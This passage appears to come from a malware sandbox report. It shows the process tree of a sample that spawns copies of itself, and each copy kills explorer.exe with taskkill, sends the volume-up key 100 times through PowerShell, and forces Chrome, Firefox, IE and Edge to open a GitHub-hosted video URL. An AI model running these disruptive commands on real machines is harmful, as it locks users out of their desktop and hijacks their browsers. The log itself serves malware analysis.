        12⤵
        
        PID:9048
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://campuchiavd.github.io/vdff.mp4"
        11⤵
        
        PID:6956
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        10⤵
        Kills process with taskkill
        
        PID:3156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4264
        
        C:\Windows\System32\CloudNotifications.exe
        
        "C:\Windows\System32\CloudNotifications.exe"
        10⤵
        
        PID:6744
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://campuchiavd.github.io/vdff.mp4"
        10⤵
        
        PID:6952
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x144,0x148,0x14c,0x124,0x150,0x7ff857edc728,0x7ff857edc734,0x7ff857edc740
        11⤵
        
        PID:7016
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" "https://campuchiavd.github.io/vdff.mp4"
        10⤵
        
        PID:1504
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://campuchiavd.github.io/vdff.mp4
        11⤵
        
        PID:6376
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" "https://campuchiavd.github.io/vdff.mp4"
        10⤵
        
        PID:6248
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "https://campuchiavd.github.io/vdff.mp4"
        11⤵
        
        PID:6984
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://campuchiavd.github.io/vdff.mp4"
        10⤵
        
        PID:7172
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        10⤵
        Kills process with taskkill
        
        PID:8484
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        9⤵
        Kills process with taskkill
        
        PID:4652
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2648
        
        C:\Windows\System32\CloudNotifications.exe
        
        "C:\Windows\System32\CloudNotifications.exe"
        9⤵
        
        PID:440
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://campuchiavd.github.io/vdff.mp4"
        9⤵
        
        PID:5280
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x138,0x13c,0x140,0x114,0x144,0x7ff857edc728,0x7ff857edc734,0x7ff857edc740
        10⤵
        
        PID:6168
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" "https://campuchiavd.github.io/vdff.mp4"
        9⤵
        
        PID:7516
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://campuchiavd.github.io/vdff.mp4
        10⤵
        
        PID:8008
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" "https://campuchiavd.github.io/vdff.mp4"
        9⤵
        
        PID:8016
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "https://campuchiavd.github.io/vdff.mp4"
        10⤵
        
        PID:6944
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://campuchiavd.github.io/vdff.mp4"
        9⤵
        
        PID:6604
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        9⤵
        Kills process with taskkill
        
        PID:8092
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        8⤵
        Kills process with taskkill
        
        PID:848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1076
        
        C:\Windows\System32\CloudNotifications.exe
        
        "C:\Windows\System32\CloudNotifications.exe"
        8⤵
        
        PID:3252
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://campuchiavd.github.io/vdff.mp4"
        8⤵
        
        PID:5876
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff857edc728,0x7ff857edc734,0x7ff857edc740
        9⤵
        
        PID:6108
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" "https://campuchiavd.github.io/vdff.mp4"
        8⤵
        
        PID:3252
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://campuchiavd.github.io/vdff.mp4
        9⤵
        
        PID:6300
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" "https://campuchiavd.github.io/vdff.mp4"
        8⤵
        
        PID:6308
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://campuchiavd.github.io/vdff.mp4"
        8⤵
        
        PID:7764
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        8⤵
        Kills process with taskkill
        
        PID:8800
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        7⤵
        Kills process with taskkill
        
        PID:1800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1504
        
        C:\Windows\System32\CloudNotifications.exe
        
        "C:\Windows\System32\CloudNotifications.exe"
        7⤵
        
        PID:1304
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://campuchiavd.github.io/vdff.mp4"
        7⤵
        
        PID:1020
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x120,0x124,0x128,0xfc,0x12c,0x7ff857edc728,0x7ff857edc734,0x7ff857edc740
        8⤵
        
        PID:5116
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" "https://campuchiavd.github.io/vdff.mp4"
        7⤵
        
        PID:5144
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://campuchiavd.github.io/vdff.mp4
        8⤵
        
        PID:5896
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" "https://campuchiavd.github.io/vdff.mp4"
        7⤵
        
        PID:5904
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "https://campuchiavd.github.io/vdff.mp4"
        8⤵
        
        PID:7732
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://campuchiavd.github.io/vdff.mp4"
        7⤵
        
        PID:3588
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        7⤵
        Kills process with taskkill
        
        PID:8224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8204
      - C:\Windows\system32\taskkill.exe
        
        taskkill /f /im explorer.exe
        6⤵
        Kills process with taskkill
        
        PID:4860
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$wsh = New-Object -ComObject WScript.Shell; for($i=0;$i -lt 100;$i++) { $wsh.SendKeys([char]175) }"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4480
      - C:\Windows\System32\CloudNotifications.exe
        
        "C:\Windows\System32\CloudNotifications.exe"
        6⤵
        
        PID:3732
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://campuchiavd.github.io/vdff.mp4"
        6⤵
        
        PID:1516
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x114,0x118,0x11c,0xf0,0x120,0x7ff857edc728,0x7ff857edc734,0x7ff857edc740
        7⤵
        
        PID:4092
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1604,i,18341336379311507800,4555819975951558261,262144 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1956 /prefetch:2
        7⤵
        
        PID:4768
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1468,i,3411445567644605425,6911228323981347699,524288 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2156 /prefetch:11
        7⤵
        System Time Discovery
        
        PID:2992
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2264,i,466651598018235277,2508053959306957910,524288 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2608 /prefetch:13
        7⤵
        
        PID:1696
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3240,i,8385001274848191493,2571599814017949843,2097152 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3244 /prefetch:1
        7⤵
        
        PID:2160
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3252,i,2382241135345903807,2283961849149744439,2097152 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3276 /prefetch:1
        7⤵
        
        PID:1556
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3988,i,9398053420377200047,16313525511954940872,2097152 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4004 /prefetch:9
        7⤵
        
        PID:4652
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4556,i,3805629055463725815,16900471506211427544,2097152 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4568 /prefetch:1
        7⤵
        
        PID:2688
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4800,i,6022108324938812625,11815855243619545056,2097152 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4804 /prefetch:1
        7⤵
        
        PID:2648
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=4956,i,2184058918138399035,5596412289345089088,2097152 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4620 /prefetch:1
        7⤵
        
        PID:6256
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5168,i,17225054792338927369,9857882394479410572,2097152 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5144 /prefetch:1
        7⤵
        
        PID:4988
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=4964,i,6051407551761354346,17033935693383530374,2097152 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5196 /prefetch:1
        7⤵
        
        PID:6784
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5484,i,5036399576933943594,3170633077852816254,2097152 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5468 /prefetch:1
        7⤵
        
        PID:7904
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5756,i,16660886394526303593,522216122291103234,2097152 --field-trial-handle=1968,i,4840707942570760962,2695967174230965672,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5772 /prefetch:1
        7⤵
        
        PID:9116
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" "https://campuchiavd.github.io/vdff.mp4"
        6⤵
        
        PID:3188
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://campuchiavd.github.io/vdff.mp4
        7⤵
        
        PID:692
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1964 -prefsLen 27097 -prefMapHandle 1968 -prefMapSize 270279 -ipcHandle 2052 -initialChannelId {627f6e02-08bd-43da-b78b-5f9439df1a93} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
        8⤵
        
        PID:2416
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2452 -prefsLen 27133 -prefMapHandle 2456 -prefMapSize 270279 -ipcHandle 2472 -initialChannelId {37ef41ee-99c4-4aee-b49f-b8cfc73f5aa9} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
        8⤵
        
        PID:3144
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 3552 -prefsLen 25213 -prefMapHandle 3556 -prefMapSize 270279 -jsInitHandle 3560 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3748 -initialChannelId {79bb8879-f1e5-449f-aff5-7201feae67f2} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 tab
        8⤵
        
        PID:5380
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3924 -prefsLen 27323 -prefMapHandle 3928 -prefMapSize 270279 -ipcHandle 4000 -initialChannelId {60f140c4-ede7-4b67-bd6f-34c0df0c07e7} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 rdd
        8⤵
        
        PID:5416
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4508 -prefsLen 32712 -prefMapHandle 4512 -prefMapSize 270279 -jsInitHandle 4516 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4524 -initialChannelId {a0b78379-5ffc-439d-b1b5-0b98480734cb} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 tab
        8⤵
        
        PID:2172
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4796 -prefsLen 34822 -prefMapHandle 4800 -prefMapSize 270279 -jsInitHandle 4804 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4640 -initialChannelId {c3dd5bc8-7712-4d70-bb35-033ddd2161e6} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
        8⤵
        
        PID:3984
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5212 -prefsLen 32900 -prefMapHandle 2452 -prefMapSize 270279 -jsInitHandle 5164 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 1664 -initialChannelId {e35536ab-0706-46be-8f51-07fd04219bda} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
        8⤵
        
        PID:6524
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5360 -prefsLen 35010 -prefMapHandle 5404 -prefMapSize 270279 -ipcHandle 5424 -initialChannelId {4dc664b4-7061-40d5-8cc2-2fa685850b35} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 utility
        8⤵
        
        PID:7204
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5596 -prefsLen 32900 -prefMapHandle 5764 -prefMapSize 270279 -jsInitHandle 5760 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5752 -initialChannelId {aec4ac7e-a4c8-43c0-9e46-a932a8e801d9} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 9 tab
        8⤵
        
        PID:6480
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5988 -prefsLen 32952 -prefMapHandle 5596 -prefMapSize 270279 -jsInitHandle 2916 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6012 -initialChannelId {6efa1e27-da54-497e-8965-2cb773c0b071} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 10 tab
        8⤵
        
        PID:7508
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5996 -prefsLen 32952 -prefMapHandle 6000 -prefMapSize 270279 -jsInitHandle 6004 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6020 -initialChannelId {920250ac-3084-4bd8-86ad-edaddeacf6b4} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 11 tab
        8⤵
        
        PID:5768
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 6048 -prefsLen 32952 -prefMapHandle 6052 -prefMapSize 270279 -jsInitHandle 6056 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 6064 -initialChannelId {71ca89a8-1a17-46c0-b2a8-4683286cbd06} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 12 tab
        8⤵
        
        PID:3308
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 1 -prefsHandle 6516 -prefsLen 35062 -prefMapHandle 6512 -prefMapSize 270279 -ipcHandle 6444 -initialChannelId {31c77f40-881b-4a2d-94b9-f6e7a83fa892} -parentPid 692 -crashReporter "\\.\pipe\gecko-crash-server-pipe.692" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 13 utility
        8⤵
        
        PID:7956
      - C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" "https://campuchiavd.github.io/vdff.mp4"
        6⤵
        
        PID:4580
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "https://campuchiavd.github.io/vdff.mp4"
        7⤵
        
        PID:1260
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" "https://campuchiavd.github.io/vdff.mp4"
        6⤵
        
        PID:3804
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f8,0x2fc,0x300,0x2f4,0x380,0x7ff854bfc188,0x7ff854bfc194,0x7ff854bfc1a0
        7⤵
        
        PID:5032
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1744,i,13047801326536552913,16739717562491922530,524288 --field-trial-handle=2584,i,5623186893769829424,9752747365542154913,262144 --variations-seed-version --mojo-platform-channel-handle=2648 /prefetch:11
        7⤵
        System Time Discovery
        
        PID:848
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
